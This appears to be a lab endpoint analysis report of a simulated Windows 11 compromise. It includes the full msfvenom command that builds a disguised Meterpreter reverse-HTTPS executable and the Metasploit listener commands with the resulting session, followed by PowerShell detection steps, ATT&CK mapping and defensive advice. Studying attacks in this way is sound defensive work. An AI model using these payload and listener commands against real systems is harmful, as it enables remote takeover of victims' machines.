

Endpoint Analysis Report

1. Executive Summary

This report summarizes a simulated security breach conducted to test detection efficacy. A malicious file, 'trustmeee.exe', was executed in a lab environment, leading to a successful reverse connection with the attacker. This event highlights critical vulnerabilities in system execution policies and the need for stricter process monitoring.

2. Environment Overview

The lab environment consists of two virtualized machines:

- Attacker Machine: Kali Linux.
- Victim Machine: Windows 11.
- Topology: An isolated virtual network configured to observe traffic and system behavior accurately.

3. Attack Timeline

- Payload Generation: Creation of the malicious executable.
- Listener Setup: Configuring the C2 handler.
- Payload Execution: User-initiated execution on the victim.
- Session Established: Remote access granted.

4. Detailed Stages

1. Payload Generation Command

```
(root@kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.127.128 LPORT=443 -f exe > trustmeee.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 596 bytes
Final size of exe file: 7680 bytes
```

2. Active Session Established on the Listener

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST 192.168.127.128
LHOST => 192.168.127.128
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.127.128:443
[!] https://192.168.127.128:443 handling request from 192.168.127.1; (UUID: sin2q54o) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.127.128:443 handling request from 192.168.127.1; (UUID: sin2q54o) Staging x86 payload (190044 bytes) ...
[!] https://192.168.127.128:443 handling request from 192.168.127.1; (UUID: sin2q54o) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.127.128:443 -> 192.168.127.1:57300) at 2026-07-20 13:28:27 -0400
meterpreter > █
```

3.Captured and Filtered Network Traffic for C2 Connection

```
Select Administrator: Command Prompt

[Telegram.exe]
TCP 192.168.1.8:63730 172.217.79.188:5228 ESTABLISHED 15072
[chrome.exe]
TCP 192.168.127.1:139 0.0.0.0:0 LISTENING 4
Can not obtain ownership information
TCP 192.168.127.1:57301 192.168.127.128:443 ESTABLISHED 20880
[trustmeee.exe]
TCP 192.168.159.1:139 0.0.0.0:0 LISTENING 4
Can not obtain ownership information
TCP [::]:135 [::]:0 LISTENING 1680
RpcSs
[svchost.exe]
TCP [::]:445 [::]:0 LISTENING 4
Can not obtain ownership information
TCP [::]:49664 [::]:0 LISTENING 1352
Can not obtain ownership information
TCP [::]:49665 [::]:0 LISTENING 1180
```

4.Suspicious Process Tree

```
PS C:\WINDOWS\system32> Get-CimInstance Win32_Process -Filter "ProcessId=20880" | Select-Object Name,ProcessId,ParentProcessId

Name      ProcessId ParentProcessId
-----
trustmeee.exe 20880      8580

PS C:\WINDOWS\system32>
```

5.PowerShell Script Execution

```
PS C:\WINDOWS\system32> Get-CimInstance Win32_Process | Where-Object {$_.Name -like "*trustme*"} | Select-Object Name, ProcessId, ParentProcessId, CommandLine | Export-Csv -Path "C:\Report.csv" -NoTypeInformation
PS C:\WINDOWS\system32>
```

6.CSV Report Output

B5				
	A	B	C	D
1	Name,"ProcessId","ParentProcessId","CommandLine"			
2	trustmeee.exe,"20880","8580","C:\Users\HP\Desktop\trustmeee.exe"			
3				
4				

5. PowerShell Script

Script:
Get-CimInstance Win32_Process | Where-Object {\$_.Name -like "*trustme*"} | Select-Object Name, ProcessId, ParentProcessId, CommandLine | Export-Csv -Path "C:\Report.csv"

Explanation: This script queries the system for the specific process, captures the Process ID and the Parent Process ID, and exports the results to a CSV file for forensic documentation.

6. MITRE ATT&CK Mapping

- T1059.001: Command and Scripting Interpreter (PowerShell).
- T1204.002: User Execution (Malicious File).
- T1071.001: Application Layer Protocol (Web Protocols).

7. Defensive Recommendations

- Implement AppLocker: Prevent unauthorized binaries from running.
- Monitor Event ID 4688: Track process creation logs for abnormal patterns.
- Deploy EDR: Use behavioral analytics to identify unusual parent-child process relationships.

8. Conclusion

The simulation confirms that without strict execution controls and active monitoring, systems remain highly vulnerable to remote shell exploitation.